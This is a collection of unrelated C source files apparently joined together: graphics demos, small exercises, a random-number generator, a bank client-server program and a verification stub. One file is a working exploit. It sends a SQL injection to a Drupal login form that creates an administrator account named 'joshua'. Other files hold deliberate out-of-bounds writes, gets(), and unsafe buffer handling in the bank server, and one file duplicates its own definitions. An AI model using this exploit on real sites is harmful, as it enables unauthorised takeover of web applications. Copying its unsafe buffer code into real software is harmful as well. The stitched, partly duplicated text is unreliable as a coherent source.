set_userclip(camera_clip_x1, camera_clip_y1, camera_clip_x2, camera_clip_y2);
draw_untextured_poly(camera_clip_x1, camera_clip_y1, camera_clip_x2, camera_clip_y2,
0.5, 0.5, 0.5, PVR_LIST_OP_POLY);
for(i = 0; i < num_sprites; i++){
draw_pic(vals_x[i], vals_y[i], i + 2, 6, 6, PVR_LIST_OP_POLY);
}
pvr_list_finish();
// pvr_list_begin(PVR_LIST_TR_POLY);
// pvr_list_finish();
pvr_scene_finish();
}
void cleanup(){
// Clean up the texture memory we allocated earlier
pvr_mem_free(pic);
// Shut down libraries we used
pvr_shutdown();
free(vals_x);
free(vals_y);
}
// Romdisk
extern uint8 romdisk_boot[];
KOS_INIT_ROMDISK(romdisk_boot);
void sprite_positions(){
int i;
for(i = 0; i < num_sprites; i++){
// Generate rand_x/y
vals_x[i] = rand() % (640 - (6 * dim));
vals_y[i] = rand() % (480 - (6 * dim));
}
return;
}
int main(void){
int done = 0;
srand(time(0));
pvr_init_defaults(); // Init pvr
pic_init(); // Init pic
// 640 wide, 20 tiles wide
// 480 high, 15 tiles high
camera_clip_x1 = (5 * 32);
camera_clip_y1 = (4 * 32);
camera_clip_x2 = 640 - camera_clip_x1;
camera_clip_y2 = 480 - camera_clip_y1;
int i;
uint32_t curr_buttons[4] = {0};
uint32_t prev_buttons[4] = {0};
vals_x = malloc(sizeof(float) * num_sprites);
vals_y = malloc(sizeof(float) * num_sprites);
sprite_positions();
// Keep drawing frames until start is pressed
while(!done){
MAPLE_FOREACH_BEGIN(MAPLE_FUNC_CONTROLLER, cont_state_t, st)
prev_buttons[__dev->port] = curr_buttons[__dev->port];
curr_buttons[__dev->port] = st->buttons;
MAPLE_FOREACH_END()
for(i = 0; i < 4; i++){
// Quits if start is pressed. Screen goes black
if(curr_buttons[i] & CONT_START){
done = 1;
break;
}
// Will toggle between no cropping, keeping inside the box and outside the box outside
if((curr_buttons[i] & CONT_A) && !(prev_buttons[i] & CONT_A)){
if(hardware_crop_mode == PVR_USERCLIP_DISABLE){
hardware_crop_mode = PVR_USERCLIP_INSIDE;
}
else if(hardware_crop_mode == PVR_USERCLIP_INSIDE){
hardware_crop_mode = PVR_USERCLIP_OUTSIDE;
}
else{
hardware_crop_mode = PVR_USERCLIP_DISABLE;
}
}
// Regenerates the sprite x/y positions
if((curr_buttons[i] & CONT_X) && !(prev_buttons[i] & CONT_X)){
sprite_positions();
}
}
draw_frame();
}
cleanup(); // Free all usage of RAM and do the pvr_shutdown procedure
return 0;
}
|
C | #include<stdio.h>
#include<stdlib.h>
typedef struct tableau{
int* tab;
int maxTaille;
int position;
}Tableau;
void ajouterElement(int a,Tableau *t){
t->tab[t->position]=a;
t->position++;
}
Tableau* initTableau(int maxTaille){
Tableau* t = (Tableau*)malloc(sizeof(Tableau));
t->position=0;
t->maxTaille=maxTaille;
t->tab=(int*)malloc(sizeof(int)*maxTaille);
return t;
}
void affichageTableau(Tableau* t){
printf("t->position = %d\n",t->position);
printf("[ ");
for (int i=0;i<(t->position);i++){
printf("%d ",t->tab[i]);
}
printf("]\n");
}
int main(){
Tableau* t;
t = initTableau(100);
ajouterElement(5,t);
ajouterElement(18,t);
ajouterElement(99999,t);
ajouterElement(-452,t);
ajouterElement(4587,t);
affichageTableau(t);
free(t);
}
|
C | #include <stdio.h>
void itob(unsigned int s);
unsigned getmask(int p, int n);
int main() {
unsigned int c = 0xFF;
// for (int i=0;i<8;i++){
// c =c << 1;
// itob(c);
// }
unsigned int res = getmask(5,3);
itob(res);
// for (int i=0;i<3;i++){
// res =res << 1;
// itob(res);
// }
return 0;
}
void itob(unsigned int s) {
char res[9];
int index = 7;
while (index != -1) {
// printf("s is %d, index is %d, res[%d] is %d, \n",s,index,index,s%2);
res[index] = (s % 2) + 48;
s = s / 2;
index--;
}
res[8] ='\0';
printf("%s\n", res);
}
unsigned getmask(int p, int n) {
unsigned int i = 0xFF;
return ((i >> (p+1-n)) & ~(~0 << n)) << n;
} |
C | #include <stdio.h>
#include <stdlib.h>
#include "SGD.h"
int sgd_init(SGD *this, double lr) {
this->lr = lr;
return 0;
}
int sgd_update(SGD *this, double *param, double *grad, int size) {
int i;
for (i=0;i<size;i++) {
param[i] -= this->lr * grad[i];
}
return 0;
}
|
C | #include"hash.h"
#include<stdio.h>
#include<stdlib.h>
int main( )
{
HashTable H;
Position p;
int i, k = 1, j = 0;
H = create_table(13);
for( i = 0; i < 400; i++, j += 71 )
{
insert(j, H);
}
for( i = 0, j = 0; i < 400; i++, j += 71 )
{
p = find(j, H);
if( p == NULL )
printf("Error at %d \n",j);
else
printf("%6d",retrieve(p));
if( k % 10 == 0 )
printf("\n");
k++;
}
printf("\n");
system("pause");
return 0;
} |
C | #include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80
#define MAXLINE 750
int main(int argc, char *argv[]) {
char * url = {0};
struct hostent *host;
struct in_addr h_addr;
if(argc != 2) {
puts("[ERROR] Please provide a URL to fuzz");
return 1;
} else {
url = argv[1];
if ((host = gethostbyname(argv[1])) == NULL) {
fprintf(stderr, "[ERROR] nslookup failed on '%s'\n", argv[1]);
exit(1);
}
h_addr.s_addr = *((unsigned long *) host->h_addr_list[0]);
fprintf(stdout, "[INFO] Address resolved: %s\n", inet_ntoa(h_addr));
}
struct sockaddr_in dest;
int sockfd;
// Create socket file descriptor.
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// Populate dest with relevant data.
dest.sin_family = AF_INET; //AF = Address Family, INET = Internet
dest.sin_addr.s_addr = inet_addr(inet_ntoa(h_addr)); //helps with Endianness
dest.sin_port = htons(PORT); //helps with Endianness
// Create a TCP connection. If connection fails, exit.
int result = connect(sockfd, (struct sockaddr *)&dest,sizeof(struct sockaddr));
if(result != 0)
{
puts("[ERROR] Unable to establish connection!");
return 1;
}
char request[MAXLINE + 1], response[MAXLINE + 1];
char* ptr;
char* page = "/?q=node&destination=node";
/* Add new user:
# insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin',
'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
#
# Set administrator permission (rid = 3):
# insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
*/
char* payload = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+"
"SELECT+1,+MAX(uid)%2B1,+%27joshua%27,+"
"%27$S$DWRRJaRWFcRFTjpvPsuSu.7CMFuKG3e7uRSI25Yf2a0mZrUYjv44%27+FROM+users;"
"insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27joshua%27),+3);;"
"#%20%20]=test&name[0]=test&pass=nothing&form_build_id=&form_id=user_login_block&op=Log+in";
// POST request
snprintf(request, MAXLINE + 1,
"POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Accept: */*\r\n"
"Content-Length: %li\r\nAccept-Language: en-us\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0\r\n"
"Connection: keep-alive"
"\r\n\r\n"
"%s",
page, url, strlen(payload), payload);
size_t n;
// Write the request
if (write(sockfd, request, strlen(request))>= 0)
{
// Read the response
while ((n = read(sockfd, response, MAXLINE)) > 0)
{
response[n] = '\0';
if(strstr(response, "mb_strlen() expects parameter 1") != NULL)
puts("[!$!] Vulnerable");
}
puts("[!$!] Admin user was created!");
}
return 0;
}
|
C | #include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <semaphore.h>
#define CREATE_PROCESS 5
sem_t semaphore;
void* routine(void* args) {
sem_wait(&semaphore);
sleep(1);
printf("Hello from process %d\n", *(int*)args);
sem_post(&semaphore);
free(args);
}
int main(int argc, char *argv[]) {
pthread_t th[CREATE_PROCESS];
sem_init(&semaphore, 1, 1);
int i;
for (i = 1; i < CREATE_PROCESS; i++) {
int* a = malloc(sizeof(int));
*a = i;
if (pthread_create(&th[i], NULL, &routine, a) != 0) {
perror("Failed to create process");
}
}
for (i = 1; i < CREATE_PROCESS; i++) {
if (pthread_join(th[i], NULL) != 0) {
perror("Failed to join process");
}
}
sem_destroy(&semaphore);
return 0;
} |
C | // Accept a string from user and toggle the case.
#include<stdio.h>
#include<string.h>
void ToogleCase(char *s)
{
int i=0;
for(i=0;s[i]!='\0';i++)
{
if(s[i]>='a' && s[i]<='z')
{
s[i]=s[i]-32;
}
else if(s[i]>='A' && s[i]<='Z')
{
s[i]=s[i]+32;
}
}
// printf("\nModified string is : %s",s);
}
int main()
{
char str[30];
printf("Enter a string : ");
gets(str);
ToogleCase(str);
printf("\nModified string is : %s",str);
return 0;
}
|
C | #include <time.h>
#include <math.h>
#include <string.h>
#include "xs/xs1024.h"
uint64_t splitmix64(uint64_t seed) {
uint64_t z = (seed += UINT64_C(0x9E3779B97F4A7C15));
z = (z ^ (z >> 30)) * UINT64_C(0xBF58476D1CE4E5B9);
z = (z ^ (z >> 27)) * UINT64_C(0x94D049BB133111EB);
return z ^ (z >> 31);
}
void splitmix64_arr(uint64_t seed, uint64_t *arr, size_t size) {
while (size-- > 0) {
seed = splitmix64(seed);
*arr++ = seed;
}
}
void xs1024_init(xs1024 *r, uint64_t seed) {
splitmix64_arr(seed, r->state, 16);
r->p = 0;
}
void xs1024_init_time(xs1024 *r) {
xs1024_init(r, time(NULL));
}
void xs1024_init_jump(xs1024 *r, const xs1024 *r0) {
r->p = r0->p;
memcpy((void*)&r->state[0], (void*)&r0->state[0], 16 * sizeof(uint64_t));
xs1024_jump(r);
}
uint64_t xs1024_next(xs1024 *r) {
const uint64_t s0 = r->state[r->p];
uint64_t s1 = r->state[r->p = (r->p + 1) & 15];
s1 ^= s1 << 31; // a
r->state[r->p] = s1 ^ s0 ^ (s1 >> 11) ^ (s0 >> 30); // b, c
return r->state[r->p] * UINT64_C(1181783497276652981);
}
double xs1024_double(xs1024 *r) {
const union { uint64_t i; double d; } u = {
.i = UINT64_C(0x3FF) << 52 | xs1024_next(r) >> 12
};
return u.d - 1.0;
}
double xs1024_normal(xs1024 *r) {
double n0, n1, s;
do {
n0 = 2.0 * xs1024_double(r) - 1.0;
n1 = 2.0 * xs1024_double(r) - 1.0;
s = n0 * n0 + n1 * n1;
} while (s >= 1 || s == 0);
return n0 * sqrt(-2.0 * log(s) / s);
}
void xs1024_normals(xs1024 *r, double *n0, double *n1) {
double s;
do {
*n0 = 2.0 * xs1024_double(r) - 1.0;
*n1 = 2.0 * xs1024_double(r) - 1.0;
s = (*n0) * (*n0) + (*n1) * (*n1);
} while (s >= 1 || s == 0);
s = sqrt(-2.0 * log(s) / s);
*n0 *= s;
*n1 *= s;
}
int xs1024_poisson(xs1024 *r, double lambda) {
const double l = pow(2.71828182845904523536, -lambda);
double p = 1.0;
int k = 0;
do {
++k;
p *= xs1024_double(r);
} while (p > l);
return k - 1;
}
double xs1024_exp(xs1024 *r) {
double x = xs1024_double(r);
while (x == 0.0)
x = xs1024_double(r);
return -log(x);
}
void xs1024_jump(xs1024 *r) {
static const uint64_t JUMP[] = { 0x84242f96eca9c41d,
0xa3c65b8776f96855, 0x5b34a39f070b5837, 0x4489affce4f31a1e,
0x2ffeeb0a48316f40, 0xdc2d9891fe68c022, 0x3659132bb12fea70,
0xaac17d8efa43cab8, 0xc4cb815590989b13, 0x5ee975283d71c93b,
0x691548c86c1bd540, 0x7910c41d10a1e6a5, 0x0b5fc64563b3e2a8,
0x047f7684e9fc949d, 0xb99181f2d8f685ca, 0x284600e3f30e38c3
};
uint64_t t[16] = { 0 };
int i, b, j;
for (i = 0; i < sizeof JUMP / sizeof *JUMP; ++i) {
for (b = 0; b < 64; ++b) {
if (JUMP[i] & 1ULL << b) {
for (j = 0; j < 16; ++j)
t[j] ^= r->state[(j + r->p) & 15];
}
xs1024_next(r);
}
}
for (j = 0; j < 16; j++)
r->state[(j + r->p) & 15] = t[j];
}
|
C | #include<stdio.h>
#define P1(a,b) printf("a#cc",#a,a); printf("%d:%d\n",a,a);
#define P2(a, b) do{;printf("%d\n",a);printf("%d\n",b);}while(0)
#define Cat(a,b) a##b
int main(){
int n = Cat(123,15);
printf("%d",n);
} |
C | //
// T40-combination-sum-ii.c
// algorithm
//
// Created by Ankui on 5/23/20.
// Copyright © 2020 Ankui. All rights reserved.
//
// https://leetcode-cn.com/problems/combination-sum-ii/
#include "T40-combination-sum-ii.h"
/**
* Return an array of arrays of size *returnSize.
* The sizes of the arrays are returned as *returnColumnSizes array.
* Note: Both returned array and *columnSizes array must be malloced, assume caller calls free().
*/
int** combinationSum2(int* candidates, int candidatesSize, int target, int* returnSize, int** returnColumnSizes) {
return NULL;
}
|
C | #include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <time.h>
struct user_info{ // Store Current userID and its type
char username[100];
char type;
};
void send_msg_client(int sock_fd, char *str) // For Send message to client
{
int size = strlen(str);
write(sock_fd, &size, sizeof(int)); // send size of message first
write(sock_fd, str, strlen(str)*sizeof(char)); // send entire message
}
char* recv_msg_client(int sock_fd) // For receive message from Client
{
int size = 0;
read(sock_fd, &size, sizeof(int)); // receive size of message first
char * str_p = (char*)malloc(size*sizeof(char)); // then allocate that size of space
read(sock_fd, str_p, size*sizeof(char)); // receive entire message from clent
str_p[size] = '\0';
if(strcmp(str_p, "exit")==0){ // If received message is "exit" then terminate
exit(EXIT_SUCCESS);
}
return str_p; // return received message
}
char * getfield(char* line, int num) // extract (num)th field from line which seperated by ,
{
char *token = strtok(line, ",");
while (token != NULL)
{
if(!--num){
return token;
}
token = strtok(NULL, ",");
}
}
struct user_info Auth(int client){ // return user info after authorization of client
struct user_info user;
while(1){
char * username, * password; // received UserId and password
send_msg_client(client, "Enter Username");
username = recv_msg_client(client);
send_msg_client(client, "Enter Password");
password = recv_msg_client(client);
struct user_info user;
FILE * login;
login = fopen("login.txt", "r"); // open login.txt file for check whether current user is authorized
char line[1000];
while(fgets(line, 1000, login)){
char * col1, *col2, *col3; // col1, 2, 3 correspond field format of login file (username, password, type)
char * line1 = strdup(line);
char * line2 = strdup(line);
col1 = getfield(line1, 1);
col2 = getfield(line2, 2);
col3 = getfield(line, 3);
if(strcmp(col1, username)==0 && strcmp(col2, password)==0){ // Verify Current Client is Authorized or not from login.txt file
strcpy(user.username,username);
user.type = col3[0];
return user;
}
}
send_msg_client(client, "Invalid Credentials");
fclose(login);
}
return user;
}
char * get_balance(FILE * user_file){ // for a given userfile, find the latest balance which is found in the last row
char *line = (char*)malloc(1000*sizeof(char));
char * last_line = (char*)malloc(1000*sizeof(char));
while(fgets(line, 1000, user_file)){
strcpy(last_line, line);
}
char * balance;
balance = getfield(last_line, 3);
if (!balance)
balance = "0";
return balance; // The final balance
}
int count=0;
char * get_mini_stmt(FILE * user_file){ // function to get the bottom 10 (latest) entries of the account statement file.
char *line = (char*)malloc(10000*sizeof(char));
char * stmt = (char*)malloc(10000*sizeof(char));
if (fgets(stmt, 1000, user_file)==0 )
{
count = 10;
return stmt ;
}
line = get_mini_stmt(user_file);
if (count>0)
{
strcat(line, stmt);
count--;
}
return line;
}
void client_user(int client, struct user_info user){ // This function correspond to the instance when the client(user) is the customer.
char * response;
send_msg_client(client, "Press 1 to view Main Balance\nPress 2 to view Mini Statement");
free(response);
response = recv_msg_client(client);
FILE * user_file;
user_file = fopen(user.username, "r");
while(1){ // The server sends various options to the customer to choose
fseek(user_file, 0, SEEK_SET);
if(strcmp(response, "1")==0){
char * balance = get_balance(user_file); // Call function to get the account balance providing the file pointer.
// send_msg_client(client, balance);
char msg[1000] = "Current Account Balance: ";
strcat(msg, balance);
strcat(msg, "\nPress 1 to view Main Balance\nPress 2 to view Mini Statement:");
send_msg_client(client, msg);
free(response);
response = recv_msg_client(client);
}else if(strcmp(response, "2")==0){
char * stmt = get_mini_stmt(user_file); // Call function to get the mini statement providing the file pointer.
char msg[10000] = "Mini Statement:\n";
strcat(msg, stmt);
strcat(msg, "\nPress 1 to view Main Balance\nPress 2 to view Mini Statement:");
send_msg_client(client, msg);
free(response);
response = recv_msg_client(client);
}else{ // Condition when client sends incorrect response.
send_msg_client(client, "Please Enter a Valid Response");
free(response);
response = recv_msg_client(client);
}
}
}
void client_police(int client, struct user_info user){ // This function correspond to the instance when the client(user) is the police.
char * response;
send_msg_client(client, "Enter Customer ID"); // Ask the id of the customer from the police.
free(response);
response = recv_msg_client(client);
FILE * login;
login = fopen("login.txt", "r");
while(1){ // Search for the given customer.
fseek(login, 0, SEEK_SET);
char *line = (char*)malloc(1000*sizeof(char));
int flag = 0;
while(fgets(line, 1000, login)){
char * col1, * col3;
char * line1 = strdup(line);
col1 = getfield(line1, 1);
col3 = getfield(line, 3);
if(strcmp(response, col1)==0 && strcmp(col3, "C")==0){ // When found, open his bank file and print the balance and mini statement.
FILE * user_file;
user_file = fopen(col1, "r");
char * balance = get_balance(user_file);
fseek(user_file, 0, SEEK_SET);
char * mini_stmt = get_mini_stmt(user_file);
char msg[10000] = "Current Balance: ";
strcat(msg, balance);
strcat(msg, "\nMini Statement: \n");
strcat(msg, mini_stmt);
strcat(msg, "\nEnter Customer ID");
send_msg_client(client, msg);
flag = 1;
break;
}
}
if(!flag){
char * m = "Invalid Customer ID\nEnter Customer ID";
send_msg_client(client, m);
}
free(response);
response = recv_msg_client(client);
}
}
void client_admin(int client, struct user_info user){ // This function correspond to the instance when the client(user) is the customer.
char * response;
send_msg_client(client, "Enter Customer ID"); //Ask admin for the customer ID
free(response);
response = recv_msg_client(client);
FILE * login;
login = fopen("login.txt", "r");
while(1){
fseek(login, 0, SEEK_SET);
char *line = (char*)malloc(1000*sizeof(char));
int flag = 0;
while(fgets(line, 1000, login)){ // Search for the customer
char * col1, * col3;
char * line1 = strdup(line);
col1 = getfield(line1, 1);
col3 = getfield(line, 3);
if(strcmp(response, col1)==0 && strcmp(col3, "C")==0){ // When found, give admin folowing options
flag = 1;
send_msg_client(client, "Choose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
while(1){
FILE * user_file;
user_file = fopen(col1, "r");
char * balance = get_balance(user_file);
fseek(user_file, 0, SEEK_SET);
free(response);
response = recv_msg_client(client);
fclose(user_file);
if(strcmp(response, "3")==0){
send_msg_client(client, "Enter Customer ID");
break;
}
else if(strcmp(response, "1")==0){
send_msg_client(client, "Enter the Amount:");
free(response);
response = recv_msg_client(client);
if (atoi(response) <= 0)
{
send_msg_client(client, "Invalid Amount\nChoose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
continue;
}
char * new_balance = (char*)malloc(10*sizeof(char));
char * current_date = (char*)malloc(12*sizeof(char));
//Current Date/Time
time_t t = time(NULL);
struct tm tm = *localtime(&t);
sprintf(current_date, "%d/%d/%d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
//Date time end
sprintf(new_balance, "%d", atoi(balance) + atoi(response));
char msg[10000]; // msg is to be the new entry in the customer file
strcat(msg, current_date); // It contains today's date, transaction type, and final balance
strcat(msg, ",");
strcat(msg, "Credit");
strcat(msg, ",");
strcat(msg, new_balance);
strcat(msg, ",\n");
user_file = fopen(col1, "a");
fprintf(user_file, "%s", msg);
msg[0]= '\0';
fclose(user_file);
send_msg_client(client, "Updated Successfully\nChoose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
}
else if(strcmp(response, "2")==0){
send_msg_client(client, "Enter the Amount:");
free(response);
response = recv_msg_client(client);
if (atoi(response) <= 0)
{
send_msg_client(client, "Invalid Amount\nChoose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
continue;
}
char * new_balance = (char*)malloc(10*sizeof(char));
char * current_date = (char*)malloc(12*sizeof(char));
//Current Date/Time
time_t t = time(NULL);
struct tm tm = *localtime(&t);
sprintf(current_date, "%d/%d/%d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
//Date time end
if(atoi(balance) >= atoi(response)){
char * new_balance = (char*)malloc(10*sizeof(char));
sprintf(new_balance, "%d", atoi(balance) - atoi(response));
char msg[10000]; // msg is to be the new entry in the customer file
strcat(msg, current_date); // It contains today's date, transaction type, and final balance
strcat(msg, ",");
strcat(msg, "Debit");
strcat(msg, ",");
strcat(msg, new_balance);
strcat(msg, ",\n");
user_file = fopen(col1, "a");
fprintf(user_file, "%s", msg);
msg[0]= '\0';
fclose(user_file);
send_msg_client(client, "Updated Successfully\nChoose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
}
else{ // This condition when the intended debit amount is more than the balance
send_msg_client(client, "Not Sufficient Balance\nChoose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
}
}
else{ // When the admin chooses none of the given options
send_msg_client(client, "Invalid Option.\nChoose transaction type:\n1) Credit\n2) Debit\n3) Choose Another Customer ");
}
}
break;
}
}
if(!flag){ // When the given customer is not found in login.txt file or his type is not 'customer'
send_msg_client(client, "Invalid Customer ID. \nEnter Customer ID ");
}
free(response);
response = recv_msg_client(client);
}
}
int main(int argc, char const *argv[]){
int serverPort = atoi(argv[1]); // The port of the server is taken from command line
int server_fd, new_socket; // server_fd is the socket of server, new_socket is that of client.
struct sockaddr_in address, client_addr;
int addrlen = sizeof(client_addr);
char buffer[1024] = {0};
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) // When the socket creation was not successful
{
perror("socket failed");
exit(EXIT_FAILURE);
}
memset((void*)&address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( serverPort );
// Forcefully attaching socket to the given port
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address))<0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
// When the socket is successfully created, listen(wait) for initiation from a client.
if (listen(server_fd, 7) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
// In below section a new thread is created for a client and terminated when 'exit' is called
while(1){
memset(&client_addr, 0, sizeof(client_addr));
if ((new_socket = accept(server_fd, (struct sockaddr *)&client_addr, &addrlen))<0)
{
perror("accept");
exit(EXIT_FAILURE);
}
switch(fork())
{
case -1:
printf("Error During forking a new child process :- \n");
break;
case 0:
close(server_fd);
struct user_info user;
user = Auth(new_socket); // Initiate the message exchange corresponding to authorization of the user.
if(user.type=='C'){ // Type 'C' is for the regular customer
client_user(new_socket, user); // Start customer message exchange.
}else if(user.type=='P'){ // Type 'P' is for the police
client_police(new_socket, user); // Start Police message exchange.
}else if(user.type=='A'){ // Type 'A' is for the bank admin
client_admin(new_socket, user); // Start Admin message exchange.
}
exit(EXIT_SUCCESS);
break;
default:
close(new_socket);
break;
}
}
return 0;
} |
C | #include<stdio.h>
int main(void) {
int num;
scanf("%d", &num);
int arrinput[num];
for (int i = 0; i < num; i++) {
scanf("%d", &arrinput[i]);
}
int res = 0;
int counterpos = 0;
int counterneg = 0;
for (int i = 0; i < num - 1; i++) {
if (arrinput[i] <= arrinput[i + 1]) {
counterpos++;
}
if (arrinput[i] >= arrinput[i + 1]) {
counterneg++;
}
}
if (counterpos == num - 1) {
res = 1;
} else if (counterneg == num - 1) {
res = -1;
}
printf("%d", res);
} |
C | #include <stdlib.h>
struct A_2_8 {
int *p;
char b[5];
};
struct A_2_8 a;
// Array
int foo_2_8(int i) {
a.b[5] = 'a';
if (!a.b[5] || i) ;
return 0;
}
// Memory
int bar_2_8(int i) {
a.p = (int *)malloc(sizeof(int) * 5);
a.p[5] = 'a';
if (!a.p || i) ;
free(a.p);
return 0;
}
|
C | #include "character.h"
#include <stdio.h>
#include <stdlib.h>
#include "SDL/SDL.h"
#include "SDL/SDL_image.h"
#include "SDL/SDL_mixer.h"
#include "SDL/SDL_ttf.h"
char animChar (charac c, SDL_Surface *screen, SDL_Event event, char whichDirection){
static int i=0, j=0;
if (event.key.keysym.sym == SDLK_RIGHT) {
j=13;
if (i > 12){
i = 0;
SDL_BlitSurface(c.spriteright[i], NULL, screen, &c.positionChar);
whichDirection = 'r';
return whichDirection;
}else{
SDL_BlitSurface(c.spriteright[i], NULL, screen, &c.positionChar);
i++;
whichDirection = 'r';
return whichDirection;
}
}else{
if (event.key.keysym.sym == SDLK_LEFT) {
i=13;
if (j > 12){
j = 0;
SDL_BlitSurface(c.spriteleft[j], NULL, screen, &c.positionChar);
whichDirection = 'l';
return whichDirection;
}else{
SDL_BlitSurface(c.spriteleft[j], NULL, screen, &c.positionChar);
j++;
whichDirection = 'l';
return whichDirection;
}
}else{
if(event.key.keysym.sym == SDLK_SPACE){
if(whichDirection == 'l'){
SDL_BlitSurface(c.jump_left, NULL, screen, &c.positionChar);
}else{
SDL_BlitSurface(c.jump, NULL, screen, &c.positionChar);
}
}
}
}
return whichDirection;
}
void moveChar (SDL_Event event, SDL_Rect *posobj, int inWhichDir){
switch (event.key.keysym.sym){
case SDLK_SPACE:
if(inWhichDir != 1){
posobj->y -=10;
}
break;
case SDLK_RIGHT:
if(inWhichDir != 2){
posobj->x +=10;
}
break;
case SDLK_LEFT:
if(inWhichDir != 3){
posobj->x -= 10;
}
break;
case SDLK_DOWN:
if(inWhichDir != 4){
posobj->y += 10;
}
break;
}
}
char animChar (charac c, SDL_Surface *screen, SDL_Event event, char whichDirection){
static int i=0, j=0;
if (event.key.keysym.sym == SDLK_RIGHT) {
j=13;
if (i > 12){
i = 0;
SDL_BlitSurface(c.spriteright[i], NULL, screen, &c.positionChar);
whichDirection = 'r';
return whichDirection;
}else{
SDL_BlitSurface(c.spriteright[i], NULL, screen, &c.positionChar);
i++;
whichDirection = 'r';
return whichDirection;
}
}else{
if (event.key.keysym.sym == SDLK_LEFT) {
i=13;
if (j > 12){
j = 0;
SDL_BlitSurface(c.spriteleft[j], NULL, screen, &c.positionChar);
whichDirection = 'l';
return whichDirection;
}else{
SDL_BlitSurface(c.spriteleft[j], NULL, screen, &c.positionChar);
j++;
whichDirection = 'l';
return whichDirection;
}
}else{
if(event.key.keysym.sym == SDLK_SPACE){
if(whichDirection == 'l'){
SDL_BlitSurface(c.jump_left, NULL, screen, &c.positionChar);
}else{
SDL_BlitSurface(c.jump, NULL, screen, &c.positionChar);
}
}
}
}
return whichDirection;
}
void moveChar (SDL_Event event, SDL_Rect *posobj, int inWhichDir){
switch (event.key.keysym.sym){
case SDLK_SPACE:
if(inWhichDir != 1){
posobj->y -=10;
}
break;
case SDLK_RIGHT:
if(inWhichDir != 2){
posobj->x +=10;
}
break;
case SDLK_LEFT:
if(inWhichDir != 3){
posobj->x -= 10;
}
break;
case SDLK_DOWN:
if(inWhichDir != 4){
posobj->y += 10;
}
break;
}
}
|
C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct vec2 {int /*<<< orphan*/ y; int /*<<< orphan*/ x; } ;
/* Variables and functions */
scalar_t__ close_float (int /*<<< orphan*/ ,int /*<<< orphan*/ ,float) ;
int vec2_close(const struct vec2 *v1, const struct vec2 *v2, float epsilon)
{
return close_float(v1->x, v2->x, epsilon) &&
close_float(v1->y, v2->y, epsilon);
} |
C | #define _CRT_SECURE_NO_WARNINGS 1
#include<stdio.h>
int main()
{
int a[5] = { 1,22,34,56,91 };
int n = 0, b, c;
scanf("%d", &n);
b = a[n] / 10;
c = a[n] % 10;
if (a[n] < 10)
{
printf("one %d", c);
}
else if (b == c)
{
printf("tow %d\n", c);
}
else
{
printf("one %d one %d", b, c);
}
return 0;
} |
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* functions.h :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: kicausse <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/07/21 16:15:45 by kicausse #+# #+# */
/* Updated: 2018/07/21 16:15:55 by kicausse ### ########.fr */
/* */
/* ************************************************************************** */
#ifndef FUNCTIONS_H
# define FUNCTIONS_H
# define BUFSIZE (2048)
# define COLLE00 (1)
# define COLLE01 (2)
# define COLLE02 (4)
# define COLLE03 (8)
# define COLLE04 (16)
# define COLLE_SQUARE (32)
# define COLLE_RECTANGLE (64)
# include <stdlib.h>
# include <unistd.h>
typedef struct s_tab
{
int max_width;
int length;
char **input;
char *str;
} t_tab;
static const char g_names[][32] = {
"colle-00",
"colle-01",
"colle-02",
"colle-03",
"colle-04",
"carre",
"rectangle"
};
static const char g_charset[][32] = {
"oooo-| ",
"/\\\\/** ",
"AACCBB ",
"ACACBB ",
"ACCABB "
};
int match(char *s1, char *s2);
int get_colle_from_bit(int colle);
int detect_rect(t_tab file);
int detect_shapes(t_tab file);
int c_find(const char s1[32], char c);
int find_character(char *str, char c, int end);
int ft_strlen(char *str);
int ft_strcmp(char *s1, char *s2);
int identify_colle(t_tab file);
int count_bits(int colle);
int get_colle(t_tab file, char *charset);
int match_strings(char *s1, const char s2[32]);
char *read_file(int fd);
char *print_rect(char *str, int x, int y);
char *ft_strncpy(char *dest, char *src, int dest_len);
char *concat_strings(char *dest, char *src, int amount);
char **split(char *str);
void print(char *str);
void print_colle(t_tab file, int colle);
#endif
|
C | #include <pthread.h>
int in_critical;
int e1;
int e2;
int n1;
int n2;
void* thread1(void *arg) {
int tmp;
e1 = 1;
tmp = n2;
n1 = tmp + 1;
e1 = 0;
assume (e2 != 0);
assume (n2 == 0 || n2 >= n1);
in_critical = 1;
assert(in_critical == 1);
